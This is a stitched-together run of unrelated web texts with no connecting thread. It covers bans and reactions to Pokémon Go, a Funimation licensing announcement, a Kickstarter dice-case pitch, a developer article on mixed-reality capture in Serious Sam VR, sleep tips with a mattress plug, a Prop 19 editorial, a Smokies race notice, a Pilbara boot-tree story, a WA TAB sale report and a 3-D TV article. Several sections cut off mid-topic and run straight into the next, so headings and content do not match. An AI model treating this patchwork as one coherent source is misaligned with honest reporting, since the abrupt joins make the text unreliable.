Pokémon Go players and encouraging them to play safely A sign in the Bloomington Visitor Center at Minnesota Valley National Wildlife Refuge welcomingplayers and encouraging them to play safely
Al Azhar University in Cairo described the game as "harmful mania."[299] A Cossack leader declared that it "smacks of Satanism", Kuwait banned the game from government sites, Indonesian officials deemed it a national security threat, and in Israel the IDF banned the game from Army bases out of security considerations.[300] In Saudi Arabia, the General Secretariat of the Council of Senior Scholars declared, in light of a 2001 fatwa banning the Pokémon card game as a form of gambling, that the electronic app required a new ruling. This was also followed by both Indian and Malaysian Islamic leaders telling Indian and Malaysian Muslims to avoid the game.[302][303]
In Thailand, during the 2016 constitutional referendum polling, Pokémon Go players were told to refrain from entering polling stations.[304] Thus the Thai National Broadcasting and Communications Commission intends to ask Niantic to remove Pokémon characters and PokéStops from locations such as government facilities, historic and religious sites, private property as well as dangerous spots such as narrow footpaths and rivers.[305] Cambodia has banned the game in a former genocide site after Pokémon players showed up at the site.[306] Vietnam has banned players from entering the government and defense offices.[307] The Vietnamese Ministry of Information and Communications is also considering the game negative impacts to Vietnamese society where many people left home at night, crossed the road or drove on the street with their eyes keep focusing on phones which placed the need to ban the game in the country.[308] Following the move by other Southeast Asian neighbors, the Philippines also banned the game in all administration offices.[309] According to a survey by Malaysian Employers Federation (MEF), around 4% of employers in Malaysia fired their staff for playing the game during working hours.[310]
In Singapore, many complaints were reported following many Pokémon Go players ignoring their safety and disturbing residents with a first case involving two men being arrested after getting into a fight over the game.[311] On August 22, 2016, Pokémon Go caused a stampede in the district of Beitou in Taiwan when thousands of people gathered in a park to catch a Snorlax.[312][313] A similar stampede also occurred in Odaiba, Tokyo, Japan on September 18, 2016, where thousands of residents were trying to catch Lapras, causing a massive traffic jam.[314]
Russia also voiced their concerns over the application, with Nikolai Nikiforov, the Minister of Communications and Mass Media of the country, suspecting foreign intelligence agencies using the application to collect information, while some religious groups in the region claim it to be demonic.[315] The Supreme Council of Virtual Space in Iran officially banned the game in August 2016 over security concerns.[316] The same month, The Pentagon facility in U.S. restricted the use of the game on their property, citing security risks by collecting secret information.[317] In the United Kingdom, 290 police incidents were reported to have occurred in July 2016 in the country due to the game.[318] In September 2016, Niantic stopped supporting the CyanogenMod mobile operating system. This prevented users playing on CyanogenMod from playing the game from that point forward.[319]
In India, the Gujarat High Court issued a notice to Niantic, the developer of the popular AR-based game, on the grounds of "posing danger to public safety. The notice was issued on a PIL (Public Interest Litigation) seeking ban on the location-based AR reality game in India. In addition, a second PIL was filed against the developers of Pokémon Go for hurting religious sentiments by showing images of eggs in places of worship of different religious groups. But the Indian Government refused to ban the game.[320]
Third-party services
Multiple unofficial, third-party apps were created to correspond with Pokémon Go. Notable apps include "Poké Radar" and "Helper for Pokémon Go", where players can crowdsource much of the Pokémon that can be found in the game at a particular time.[321][322] At its peak of popularity, "Poké Radar" hit #2 on the Apple App Store, behind Pokémon Go itself.[323][324][325]
Another app, GoChat, which allows players to leave messages for other players at specific locations, accrued more than 1 million downloads in five days and reached the top 10 in the Apple App Store and Google Play Store.[326] However, the app's developer Jonathan Zarra chose to leave the app unmonetized and had financial trouble keeping the app's servers online until bringing on angel investor and board member Michael Robertson. After acquiring significant funding, the app reached over 2 million active users.[327][328] According to RiskIQ, at least 215 fake versions of the game were available by July 17, 2016. Several of these fake apps contained malicious programming and viruses.[329]
Launched on July 22, 2016, "Pokévision" enabled players to find exactly where Pokémon spawned and how much time was left until they despawned; the site used data hacked directly from the game.[330] In the five days following the website's launch, 27 million unique visitors used the site.[331] On July 31, multiple search apps and sites, including Pokévision, were disabled as they violated Niantic's terms of service.[332]
Awards
Anime News Network's New York Comic-Con 2016 news coverage sponsored by Yen Press.
Anime News Network's New York Comic-Con 2016 news coverage sponsored by Yen Press.
Funimation Entertainment revealed its November home video release lineup at its panel at Otakon on Friday, revealing that it has licensed the Sword of the Stranger anime film and the Omamori Himari and Good Luck! Ninomiya-kun television anime series.
Masahiro Ando (Under the Dog, Blast of Tempest, Snow White with the Red Hair) and studio BONES' Sword of the Stranger samurai anime film originally premiered in September 2007. The film centers on a nameless samurai ("Nanashi") and the boy he vows to protect from pursuing feudal factions. The film starred Tomoya Nagase as Nanashi and Yuri Chinen as Kotarō. Bandai Entertainment previously released the film on Blu-ray Disc and DVD in 2009.
Funimation will release Sword of the Stranger on a DVD and Blu-ray Disc combo pack on November 8.
Omamori Himari adapts Milan Matra's comedy manga series. The slapstick romantic comedy centers around an ordinary 16-year-old high school boy named Yūto Amakawa who is protected by a spirit — specifically, a beautiful, sword-wielding cat girl spirit named Himari. Yūto is descended from a family that has subjugated demons since time immemorial. The charm (omamori) that once protected him is now impotent, but fortunately, at that same moment, Himari appears before him as his new guardian. Shinji Ushiro (Blessing of the Campanella, We Without Wings - Under the Innocent Sky) directed the series at studio ZEXCS off of scripts by Katsumi Hasegawa (Blue Gender, Beyblade: Metal Fury).
Crunchyroll streamed the series is it aired in 2010, but the site is no longer streaming the series.
Funimation will release the series on DVD only on November 8.
Good Luck! Ninomiya-kun (Goshuushou-sama Ninomiya-kun) revolves around a normal high school boy who finds himself living with a young female succubus. He attempts to help her conquer her fear of men. Her presence sparks a jealous rage in the boy's childhood friend, launching a romantic comedy of errors. The 12-episode series is based on author Daisuke Suzuki and illustrator Kyourin Takanae's light novel series. The anime originally aired in 2007. Koji Yoshikawa (D.N.Angel, Baki the Grappler) directed the series at AIC Spirits off of Akira Watanabe's (Ah! My Goddess, Girls Bravo) scripts.
Crunchyroll previously streamed the series starting in 2010, but the site is no longer streaming the series.
Funimation will release the series on DVD only on November 22.
Organize your gaming supplies in this high quality customizable case. This masterwork piece of hardware is designed specifically for the tabletop gamer - it acts as a dice box, rolling tray, storage area, and doubles as a screen for stealthy players and GMs that want to hide their dice rolls. It features elegant folding doors that stand the case up to be used as a rolling screen.
Our goal at Dog Might Games is to make the best quality gaming gear around. The Adventure Case has gone through nearly a year of prototyping and we are very proud to offer it to tabletop gamers everywhere.
"Is it cool? Yeah, you bet your butt it's cool." - Undead Viking
"Dear Dog Might, I love you until the ends of the Earth. This is the coolest thing I've ever had the privilege of owning." - Raine, Initiative Tabletop
White Ash wood, Dark Walnut, finish, Hellhound wood sculpt.
"I'm still trying to pick my jaw up off the floor. This is incredible! It's so much better than what I thought it would be. I can't get over the quality of this box. The emblem, the woodwork - it's all amazing." - Borjan B, Customer (read more)
Premium Benge wood, black felt.
Pledge Tiers
Adventure Cases come in many flavors. The CLASSIC tier is basic with no frills or embellishments. The CUSTOM tiers are built in White Ash with your choice of finish and felt color. The PREMIUM tiers are built with your choice of our premium hardwoods and felt color. Metal symbols and wood sculpts are available for the CUSTOM and PREMIUM tiers. (See the reward descriptions for details.) You may add Lights to any tier by adding an additional $12 to your pledge.
Specs
Cases measure approximately 11.25" x 5.5" x 3.0". The lower tray is 1" deep and the upper tray inserts are approximately 5/8" deep. All wood is a hearty 3/8" thick for a lifetime of gaming. The hardware is battle-tested, high quality brass.
Demon's Blood Hickory, Crouching Dragon wood sculpt.
CLASSIC Adventure Case
"The Adventure Case looks to be one of the best multi-purpose tabletop tools I've ever seen." - John, gizorama.com
White Ash Finishing Options
The CUSTOM Adventure Case is built in White Ash and has multiple finishing options. Learn more about our lumber.
White Ash wood, Early American finish, Hammer wood sculpt.
"Received my Adventure Case yesterday. Great piece of work. Keep up the good work." - Peer, Customer (read more)
Premium Wood Options
The PREMIUM Adventure Case is available in the following premium woods. Learn more about our lumber.
Premium Black Walnut wood, Viking Helmet wood sculpt
Felt Colors
The inner surface is felted for protection and to reduce noise when rolling dice. Felt is available in a variety of colors to suit your taste.
Suede Add-on
Add suede for a gorgeous premium case lining. All suede is 2.5 oz select hide cuts and is available in Black, Brown and Tan. Add an additional $25 to your pledge for suede.
Wenge with Brown Suede
Custom Metal Symbols
Make your Adventure Case unique with a custom hand cut metal symbol. Choose from one of our designs or send us an image to have one crafted specifically for you. The options are nearly limitless, just let us know what you want. Symbols are available in Brass or Aluminum.
"The custom symbol looks great and I love it. Well done. I am over the moon thrilled with it, actually. It's beautiful and the personalized symbol really makes it extra special to me." - Pam G, Customer (read more)
Premium Jatoba wood, Dragon 1 metal symbol in brass.
Premium Black Walnut wood, Dragon 2 metal symbol in brass.
Wood Sculpts
Do you want the best gaming gear at the table? Add one of our awesome wooden sculpts to create a truly epic gaming case. All of our sculpts are designed and cut in-house to ensure the highest quality.
"This is just absolutely gorgeous, this is beautiful... the only things that are more beautiful are my wife and my two daughters... and I guess... Scarlett Johansson." - Michael, NVS Gameplays
CLASSIC Adventure Case, Flaming Sword wood sculpt.
Symbol Orientation
Metal symbols and wood sculpts have 2 options for orientation: Standard and Screen. In standard orientation the symbol faces toward you when the Adventure Case is closed. In screen orientation the symbol will face away from you so it appears upright when the case is setup as a rolling screen. You can specify this option in the survey after the Kickstarter closes.
Lighting Options
Want some table atmosphere? Optional lights enhance the interior of the Adventure Case and provide a true dungeoneering feel. They are available in a variety of colors and easily tuck away when the case is closed.
Increase your pledge by $12 in any tier to add lights.
FIRST 25 BACKERS GET A FREE SET OF LIGHTS!
"I've backed Dog Might since day one, and they've always delivered top notch stuff. The new wooden sculptures are insane. It looks like I'm going to be out another couple hundred bucks." - Dan M, Customer (read more)
Engraved Plates
Brass plates are now available as a $20 add-on. Each plate is brass with clipped corners and can be engraved with approximately 4 lines of 20 characters per line. The plate comes with double sided adhesive tape so you can place it wherever you like on the Adventure Case.
Wondrous Item: Dragon Case
Carved by the talons of Dragons, the Dragon Case will kick ass at your next session. Dragon runes cover the exterior surfaces as well as the interior doors. Available only in Demon's Blood Hickory wood with your choice of lights, suede or felt, and wood sculpt.
Dragon Case with Crouching Dragon wood sculpt
Wondrous Item: Black Limba
Unique in appearance, the Black Limba Adventure Case is highlighted by very dramatic color changes and straight grain patterning. This item is a limited batch of 5. It comes with a high quality suede interior, your choice of lights, and wood sculpt.
Black Limba with Dragon Profile wood sculpt.
Wondrous Item: Rune Case
Inspired by Dwarven stone cutters, the Rune Case is unlike anything ever seen at a gaming table. Boasting engraved runes on all exterior surfaces as well as the interior doors, this wondrous item is guaranteed to turn heads. Available only in Premium Padauk wood with your choice of lights, suede or felt, and wood sculpt.
Rune Case with Hammer wood sculpt
Wondrous Item: Bolivian Rosewood
If you want a box with a Charisma in the 30s, this Adventure Case is for you. This wondrous timber is highly prized for it's amazing color and active inky grain patterning. This item is a limited batch of 5. It comes with a high quality suede interior, your choice of lights, and wood sculpt.
Bolivian Rosewood with Flaming Sword wood sculpt
Bolivian Rosewood with black suede
Wondrous Item: Wenge
The most sinister wood known to man, this premium Wenge Adventure Case soaks up light and casts an evil aura on all who gaze upon it. This item is a limited batch of 5. It comes with a high quality suede interior, your choice of lights, and wood sculpt.
Premium Wenge wood, Dragon Profile wood sculpt
Premium Wenge wood, suede interior.
Wondrous Item: Chechen
Also known a 'Black Poisonwood' this limited edition Chechen Adventure Case is heavy, sturdy, and stunning. Proven to smite any foe as a bludgeoning weapon, it comes with your choice of felt, lights, and wood sculpt. This item is a limited batch of 5.
Premium Chechen wood, Battle Axe wood sculpt.
Delivery Schedule
Adventure Cases will be built in the order pledges are received. We are currently projecting completion of approximately 15 Adventures Cases per week. This schedule will change if we reach our stretch goal below. We fulfilled over 600 orders on our last Kickstarter and delivered 99.9% of orders early.
UPDATE: We have unlocked the $30k Stretch Goal and will be bringing Puzz Longbeard on staff! Updated delivery schedule below.
Premium Leopardwood, Fireball wood sculpt.
$30k Stretch Goal - UNLOCKED!!!
Through our Kickstarter experience, we have learned that the most important thing to our backers is getting your rewards on time. In lieu of other stretch goals, we will add a lumberjack/ barbarian to our Dog Might Team.
If the project reaches $30k, we will hire Puzz Longbeard full time which will speed up the delivery of all orders. Adding a third member to the party will ensure we complete our quest with the utmost haste.
White Ash wood, Ebony Stain, Lich King wood sculpt.
The Shop
All of our wood products are crafted on site in our Michigan based wood shop. The shop is a fully equipped lumberjack paradise that doubles as our weekly gaming area. We strive to bring the highest quality wood products to our customers. Having a full wood shop on site allows us to control every aspect of the process which enables us to deliver the quality that Dog Might is known for.
Our 1200 sqft woodshop in Michigan
Premium Bubinga wood, Tentacles wood sclupt
Premium Padauk wood, Hydra wood sculpt
White Ash wood, Early American finish, Winged Warrior wood sculpt.
Premium Padauk wood, Eastern Dragon wood sculpt
Ouroboros Wood Sculpt on White Ash with Dark Walnut finish.
Premium Benge wood, Demon wood sculpt.
Premium Black Walnut, Battle Axe wood sculpt.
Abyssal Cherry with Demon Wood Sculpt
White Ash wood, Ebony finish, D20 wood sculpt.
White Ash wood, Kickstarter Green finish, Dragon Helm wood sculpt.
Check out our full product line at www.dogmight.com
Introduction
This article explains the work it took to implement mixed reality into our game using our own engine. Apart from using the approaches already taken by some other teams, we have developed some new techniques that work great to solve latency issues as well as make camera calibration really simple for the user. We haven’t found anyone describe such solutions to these common problems, so our implementation should be interesting both to people new to the subject and to the people who already did mixed reality and want to improve their approach.
How it all started for us
Mixed reality was already found to be a great way to demonstrate VR experience outside of VR. Naturally, we also wanted to use mixed reality for promotion of Serious Sam VR: The Last Hope. We started implementing mixed reality two weeks before the EGX 2016 show so we could be featured on the Vive stand, capture some promotional footage as well as show off our game in all its glory featuring the physical minigun controller.
The people from HTC already had some experience with mixed reality video and they gave us the requirements for their mixed reality mixing and recording setup. We were supposed to render multiple views from the game, the foreground, the background view etc. All of that plus the chroma keyed player would be mixed in the open source software OBS [1] and videos could be captured. This approach was described in a great article by Kert Gartner [2] and that was our starting point for the research and implementation.
Since we use our own Serious Engine, it was fairly straightforward to implement separate rendering of foreground/background view from the spectator camera that could be controlled by a Vive controller (we went for the moving spectator camera from the start). As soon as we did that, we knew we weren’t happy with the approach since it suffered from multiple problems:
There would be sorting issues when enemies, projectiles and particle effects get close to the player.
Performance would be bad since we had to render the scene several times more than necessary (2 times for the eyes plus at least 2 times more for the foreground and background spectator views).
We couldn’t light the player with in game lighting.
We knew that in order to solve these problems we had to find a way to put the player inside the game instead of relying on mixing software. For that to work we needed to capture the video and feed it into our own engine. After some more research we have found that we weren’t the first ones to come up with that approach. There was a great article by Shaun McCabe [3] that described exactly what we wanted to do.
Getting the player inside the game
In [3] Shaun described how they used the example code from Microsoft Media Foundation [4] to capture the video so we implemented video capture in our engine. It worked out nicely using the Logitech HD WEBCAM C270 we had in our office. The video was not good enough for promo recording but it was a start to get a prototype working.
The video was uploaded to the GPU where we used a shader to perform chroma keying the same way it is done in OBS (because people were already experienced with the parameters in OBS).
In order to make the player from the video visible inside the game, we used a simple technique of rendering a single camera facing rectangle that was alpha keyed (matching the chroma keying). That rectangle is centered around the player’s position in the scene (determined by the tracked headset). Parts of the scene that aren’t around the player are cut away (Garbage matte technique) – very useful in our makeshift studio with green screen that didn’t cover much of the scene.
Streamlining the camera calibration
Even in the early prototype version, we were really frustrated with the process of manual camera calibration – tweaking the offset parameters (heading, pitch and banking angles, as well as the linear offset) so we could match the position of the physical camera (one providing the video feed) with the in game spectator camera (one rendering the game world). In order to make it easy on us and especially on the people at the trade shows, we came up with an approach that didn’t require any manual tweaking.
The idea was simple (but it took a while for it to mature): while viewing yourself in camera feed, simply mark five points displayed on the screen by placing the Vive controller so the center of the hole matches the crosshair on the screen and press the trigger button to take the sample (see image below).
This is repeated when standing closer to the camera and then further away from the camera. This methods yields five rays in 3D space (ray goes from the far away point through the near point taken for the same sample on the screen) for five known positions in screen space. These information is then used to find the camera position, FOV and rotation angles (relative to the attached controller or relative to the scene origin if extra controller is not used). The involved math will be described in a separate article as this approach should be useful to many developers.
This method was a lifesaver, especially for people that were supposed to set it up at the show and were struggling even to get a near match with manual tweaking. This method, if done correctly, by precisely aligning the controller to match the on screen points, yielded results that were a perfect match in less than a minute! Calibration results can then be observed by simply comparing the size, position and orientation of the Vive controllers rendered in game with the Vive controllers in the video.
The Debut: EGX 2016
With all that implemented at the last possible moment, we impatiently waited for our marketing people and the Vive crew at EGX to set up everything at the show. This proved to be a big problem because the capture card and camera at the show didn’t work with our video capture module based on Windows Media Foundation! It looked like all that work was going to be for nothing but we managed to quickly implement completely new video capture method using the libdshowcapture library [5]. The library was selected because it was used by the OBS (which was routinely used by the Vive crew). New method of video capture was implemented in one night of programming frenzy from Zagreb logged in remotely to the equipment set up on the show floor in Birmingham and was finished a couple hours before the start of the show.
The results were magnificent! Lots of people tried our physical minigun (that calls for another article) and were recorded in mixed reality while doing so. That was the mixed reality debut we were hoping for and were really happy with the results!
Fixing the video delay
Apart from camera calibration, we encountered another interesting problem: in game weapons and controllers were rushing ahead of player’s hands in the video. This was not a problem in sessions involving the physical minigun since the in game weapon was not displayed in mixed reality and the physical minigun was perfectly following the physical player. We knew we wanted to record promotional videos of players wielding the in game weapons and that it would be the most useful for the players who wanted to stream the game once the game was out (not everyone has our physical minigun). Due to the inherent delay of capturing the video and uploading it to the GPU there was a noticeable delay between player’s hands and the controllers or weapons in game and that didn’t look good. This looked even worse when camera (with attached controller) was moving. To fight this problem, we came up with an idea of delaying the controller input so it matches the video feed. This of course made the player feel weird, so instead we just delayed the controller/weapon placement in mixed reality view! This way the weapons were perfectly matched to player movements in the video stream and it appeared as if player was really holding the weapons (at least ones with realistic dimensions). And the delay (around 60 milliseconds in our final setup) was not big enough to notice that the bullets and projectiles are not exactly matched to the delayed weapons.
There was one final problem that took us a while to figure out. Although we have applied the same delay compensation to the controller attached to the camera, there was still some offset while the camera was moving. This was really bumming us out for days, but we finally found what the problem was – the camera had the video stabilizer turned on! So if you’re moving your camera in mixed reality, make sure you disable the video stabilization in camera – use the stabilizer hardware instead that affects the attached controller as well.
Our equipment
We have come a long way in less than one month since our humble beginnings in mixed reality in both software and in hardware. We’d like to describe our setup as this may also be of help to people starting off in mixed reality. For video capture, we ended up using Canon EOS 7D Mark II DSLR Camera with 18-135mm lens connected to the Avermedia Live Gamer Extreme external capture card via HDMI. Videos were recorded on a different machine (for performance reasons) using the Elgato HD 60 Pro. Our gaming rig featured the Nvidia 1080 GPU and Intel Core i7 4790K CPU. We have mounted a controller on top of the camera using the 3D printed adapter [6] for the Vive controller attached to a hot shoe using a hot shoe adapter [7]. Vive controller attached to the camera was connected via USB cable so we could have two free controllers for the player. In moving camera sessions, we used the DSLR Flycam Nano Camera Stabilizer.
Done for now… What’s next?
It was so much fun implementing all this in our own engine where we have a lot freedom to experiment and we’re very happy with the results. It was also fun to experiment with the videos and to see ourselves recorded in mixed reality and imagine it will be a lot of fun to the players as well. A lot of effort was put into developing an easy to follow, interactive, step by step wizard interface. This should make the setup process easy enough for all the players that want to try out mixed reality in our game and have some kind of camera and a patch of green screen.
Recently we have learned about the method of using the stereo depth camera [8] which makes it possible to add depth to the player in mixed reality. Now we can’t wait to get our hands on such camera so we can do even better!
[1] https://obsproject.com/
[2] http://www.kertgartner.com/making-mixed-reality-vr-trailers-and-videos/
[3] https://developer.oculus.com/blog/sharing-vr-through-video-mixed-reality-in-the-unspoken
[4] https://msdn.microsoft.com/en-us/library/windows/desktop/dd743690(v=vs.85).aspx
[5] https://github.com/jp9000/libdshowcapture
[6] http://www.thingiverse.com/thing:1516893
[7] https://www.amazon.co.uk/Quenox-Adapter-Monitor-Lighting-JJC/dp/B00J3PUJEU
Increased Chance of Car Accidents: Studies have shown that moderate sleep deprivation is similar to being under the influence of alcohol. If you have been up for 15 to 17 hours straight, it is the same as driving drunk.
Poor Balance: If you frequently don’t get enough sleep, it can affect your balance which can result in a fall or another type of accident. You want to improve balance by buying a dream cloud mattress.
If you want your body to function at its best, you should make sure that you are getting 7 to 9 hours of sleep each night. It is important to understand that too much sleep can also be problematical. If you sleep too much, you can feel groggy all day. In most cases, the effects of too much sleep are similar to that of jet lag. Use Your Bed For What It Was Made For
Many people spend a lot of time in their bed. They work in bed, watch TV in bed, surf the internet in bed, and some people even eat in bed. This is a mistake. It is best to use your bed for just sleeping and sex. Everything else should be done at the table or on the couch. When you use your bed for what it was designed for, your body and your brain will understand that it is time to relax when you hit the sheets.
Set Your Body’s Internal Clock
Your body has an internal clock, and if you are able to set it, you will be able to get a good night’s sleep. To set your body’s internal clock, you should go to sleep at the same time every night, even on the weekends. You should also wake up at the same time every night. This will set your internal clock, and your brain will know when it is time to sleep. You should also wake up at the same time every morning and avoid sleeping in. This is also important for setting your internal clock. Right after you wake up, you should turn on the light. This lets your brain know that it is time to get going.
Avoid Caffeine Before Bed
You should avoid caffeine 6 hours before you go to bed. Coffee and soda are the obvious sources of caffeine. However, you should think about everything that you eat before bed. Chocolate contains caffeine as do certain pain relievers and weight loss supplements. If you want to fall asleep easily, avoid all type so caffeine before bed.
Time Your Workouts Wisely
Regular exercise will not only make you look and feel better, but it can also help you sleep at night. However, you need to time your workouts properly. If you do a cardio workout before bed, you will get a burst of energy after your workout. This can make it impossible to fall asleep. It is best to workout in the morning or the middle of the day. Cardio exercise should be avoided 3 to 4 hours before bedtime. If you want to exercise before bed, you should do something that relaxes your mind and body such as yoga, Pilates, or tai chi.
Eat Right Before Bed
This is why I encourage everyone to read President of the California State NAACP Alice Huffman’s editorial in the San Francisco Chronicle in support of ending marijuana prohibition in California, and specifically in support of Proposition 19. Here is a small sample:
We reject the oft-repeated but deceptive argument that there are only two choices for dealing with drugs – heavy-handed law enforcement or total permissiveness. Substance abuse and addiction are American problems that impact every socioeconomic group, and meaningful public health and safety strategies are needed to address it. However, law enforcement strategies that target poor blacks and Latinos and cause them to bear the burden and shame of arrest, prosecution and conviction for marijuana offenses must stop. . . . . Enough is enough. We want change we can believe in, and that’s why we’re supporting Prop. 19. Instead of wasting money on marijuana law enforcement, Prop. 19 will generate tax revenues we can use to improve the education and employment outcomes of our youth. Our youth want and deserve a future. Let’s invest in people, not prisons.
A field of 500 runners will participate in races Sunday morning in Cades Cove. (Photo: National Park Service)
TOWNSEND — Runners will be in control for a time Sunday as the annual Cades Cove Loop Lope is run through the popular Great Smoky Mountains National Park location.
Cades Cove will be closed until 10:30 a.m. so the races over 10-mile or 3.1-mile courses can be conducted.
Friends of the Smokies, the park’s philanthropic partner, will host the event, which was limited to 500 runners. Registration was on Aug. 1. Both races are sold out.
“We appreciate the support of the Friends and participants in supporting this event,” said acting Supt. Clay Jordan, “along with those visitors who alter their plans Sunday morning to explore other areas of the park during delayed opening.”
To accommodate parking, access to the area will be limited at the Townsend Wye. Registered Cades Cove campers, Tremont Institute program participants and event participants with a parking pass must show registration documents for access beyond that point.
The Cades Cove store will be open, but will not begin renting bikes until 11 a.m. The Cades Cove riding stables will begin offering horse rides at 11 a.m.
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The Pannawonica boot tree is home to old steel caps worn by the region's miners
Every country town has its icons and in the red dirt of one Pilbara community in Western Australia, a special tree stands out.
Mining is paramount in the town of Pannawonica, which lies about 200 kilometres south-west of Karratha.
According to local Dennis 'Stretch' Wright, when residents finish their stint working along the Robe River there's a special farewell tradition.
"We have a high turn over and it started with someone throwing up their work boots into the tree when they left.
"Normally it's contractors when they're leaving for good and so they reckon they don't need their boots anymore and up they go.
"It grew from there and the tree got fuller and fuller and fuller."
The gum sits about half way along the access road to Pannawonica and the branches are slung with scores of steel caps.
"You can't miss it, it's what's we call an old snappy gum, the kind that grows out of the rocks," says Stretch.
In recent times however, the tree has found its branches home to more than just boots.
Stretch is a local councillor for the Shire of Ashburton and says the new additions were the catalyst for a clean up.
"There were eskies, hard hats and high-vis clothing up there too.
It's a boot tree and it's for boots only. Dennis 'Stretch' Wright, Pannawonica local
"When it rains the other items fill up with water and the branches would break under the weight.
"It takes many, many years for these trees to grow, so in order to save the tree we had a clean-up.
"It's a boot tree and it's for boots only."
Stretch has lived in Pannawonica for almost 30 years and says the boot tree tradition kicked off about 15 years ago.
Before that though, locals marked their time in the town another way, leaving their "danger tags" clipped to the air conditioning vent at the local tavern.
Stretch says he believes anyone who has spent time in the north-west of WA and would like to leave their boots behind on Pannawonica's iconic tree would be welcome to do so.
Updated
Western Australia's Racing and Gaming Minister has come under fire from one of his Government colleagues over suggestions electronic gaming machine rights could be included in a potential TAB sale.
Key points: WA Government wants to privatise the TAB
Gaming machines could be allowed at country pubs and TAB outlets as part of the TAB sale
Minister says current policy is a good one
The possible expansion of gaming options as part of the potential sale of the TAB has alarmed social welfare advocates as well as Government backbenchers.
The Barnett Government has been investigating the sale of the state-owned betting agency for the past two years, as it seeks to bring down public debt.
Racing and Gaming Minister Colin Holt has confirmed a potential buyer could also seek to gain the rights to operate gaming machines as part of a deal.
"I think what we're saying here is any potential buyer, who may be operating in other states and have that ability, might want to come to Government with a proposal that does that," he said.
"And when that proposal comes we need to consider whatever they're proposing in terms of what the outcomes are for us as a community.
"And also what it delivers for the industry on the back of a potential sale."
Under current law only Crown Casino has the right to operate such machines in Western Australia.
TAB sale could create 'mini-casinos'
Liberal MP Murray Cowper has long opposed any sale of the TAB, and said Mr Holt was not listening to the racing industry.
"He's got a select group that he's listening too. But the vast majority overwhelmingly do not want to see the sale of the TAB," Mr Cowper said.
"And [they] certainly don't want to see any sweeteners of running some sort of gaming machines and having these mini-casinos all over Western Australia.
"I'm wondering whether or not the National Party have given the Minister, for the South West by the way, the imprimatur to go out and negotiate on behalf of Government to sell off the TAB, and in part of the deal as a sweetener, bring in pokie machines. I just think it's a pail too far."
WA Opposition Leader Mark McGowan has accused the Government of trying to open the door to poker machines in WA.
"I'm sure the Government is examining all options so they can flog off the TAB and increase its value," he said.
"So I'm saying to the Government, close the door on this, slam the door shut, bolt it closed, and never open it again."
Country pubs could get gaming machines
Mr Holt was adamant no proposal had yet been put to Government, but the ABC understands any potential buyer of the TAB could seek to operate Keno machines in TAB outlets and country pubs, as well as virtual horse racing games known as Trackside.
The Minister said any discussions along those lines would also need to include Crown Casinos.
"I am sure at the moment they see themselves as the holder of those licences and would be pretty keen to retain them," he said.
But he said even without such a proposal, the TAB would still be an attractive asset to potential buyers.
"It's still a very well-run business and I think other operators in other states see it as a well-run business," he said.
"And that's why they're interested in it. It may not be about product expansion it may be just about what they do now.
The Barnett Government has historically opposed any expansion of gambling in Western Australia, and Mr Holt admitted any decision to allow a private operator to run gaming machines outside current arrangements would represent a major policy shift.
"I think that's a really good policy that this community celebrates," Mr Holt.
"We've got the lowest gambling rates in the nation. And one of the reasons is it's destination gaming machines only.
"And I think it would be a massive policy shift to move away from that."
Cabinet proposal withdrawn
But he did not rule out such a move if it was presented as part of a purchase proposal from a private operator.
"I think it's one of the things you consider. But again those discussions need to be had. And we'll talk about it when the time's right," he said.
The ABC has confirmed a submission on the sale of the TAB was set to go to today's Cabinet meeting, but was withdrawn at the 11th hour.
Mr Holt released a statement after the Cabinet meeting, saying the Government had no intention of including gaming machine rights in the sale of the TAB.
The statement said any testing of the market in relation to the sale would take into consideration business models to "upgrade offerings in TAB retail outlets", but would also take into account potential social impact of such changes.
Topics: gambling, horse-racing, wa
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At that point, the question becomes whether consumers — many of whom have only recently upgraded to costly new high-definition sets — will want to watch in three dimensions enough to pay for the privilege. “I think 90 percent of the males in this country would be dying to watch the Super Bowl and be immersed in it,” said Riddhi Patel, an analyst at the research firm iSuppli.
But will the experience translate to other entertainment? Ms. Patel said, “You don’t necessarily want the ladies of ‘The View’ sitting around you when you watch them.”
For most consumers, 3-D is still far in the distance. With the announcement this week, the media companies are trying to place themselves at the forefront of an emerging technology, much as they did for HDTV a decade ago.
It took high-definition television about a decade to catch on — to the point where it has become part of the entertainment mainstream, with an adequate stock of HD programming and the sets now cheap enough to entice middle-class buyers. Analysts expect 3-D television to go through the same curve, initially attracting first adopters for whom price is little or no object and gradually moving out to other affluent and then middle-class homes as sets become cheaper and programmers create enough 3-D fare.
Or, of course, the technology could be a total flop.
For decades 3-D was a gimmick for B-movies and occasionally on television (in bad quality with flimsy paper glasses), but newer technology has largely erased those memories. Peter M. Fannon, a vice president at Panasonic , called the new sets “totally different than what one had seen over the last 20 to 30 years.”
In 3-D, television makers see an opportunity to persuade households that have already bought HDTVs to return to the electronics store. Though television sales jumped 17 percent in 2009, the industry needs new innovations to keep the cash register ringing.
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“Three-D is an effort by the industry to come up with something that will motivate consumers to trade up,” said Van Baker, an analyst at Gartner Research.
Photo
Jeffrey Katzenberg , chief of DreamWorks Animation, said producers were preparing “an enormous surge in 3-D content, with images that are truly beautiful on these new monitors.”
Leading the charge to television, the pioneering sports network ESPN said it would show at least 85 live events on a 3-D channel starting in June. “The sports genre is probably the best suited to exploit this technology,” said Sean Bratches, an executive vice president at ESPN. The company has held preliminary talks with Comcast and other operators about gaining distribution; the 3-D channel could come at an added cost to subscribers. It will go dark when not showing live events.
The joint venture among Discovery Communications, Sony Pictures Entertainment and the Imax Corporation will be a full-time channel featuring natural history, movies, sports, music and other programming.
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New 3-D televisions, like the 3-D screens in theaters, work by dividing picture images into two sets, one for each eye. A viewer must wear special glasses, so each eye captures a different image, creating the illusion of depth. Filming entails two connected cameras, one for the left-eye image and the other for the right.
Manufacturers have developed two technologies for 3-D glasses in the home. In so-called polarized glasses, which can cost under a dollar, each lens blocks a set of images transmitted in certain types of light. “Active” glasses, which are better suited for LCD screens in particular, have battery-powered shutters that open and close rapidly, so each eye sees different views of each frame. These glasses can cost up to $100, but television makers are expected to package at least two pairs with each monitor.
On the horizon is technology that allows people to watch 3-D without glasses, but that has severe limitations, like forcing viewers to sit at a certain distance.
Mike Vorhaus, the managing director of new media for Frank N. Magid Associates, a media consulting firm, said 3-D was many years away from widespread adoption. For now, he said, it is “one more appetizer” for consumers who “already have a lot to digest.”
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Since then, we’ve also become what’s called a visual workplace. We have posters in work areas with instructions on how to operate a machine, and diagrams of the product it makes. Safety instructions are posted, too.
The visual aids help everyone, but they’re especially good for workers like me. I’m still not a good reader. When I’ve had to read work instructions — say, if someone has a question about them — I’ve told the person I might need a little time. Or, if I’ve been given something to read in a meeting, I’ve gone into the hallway and followed the text with my finger.
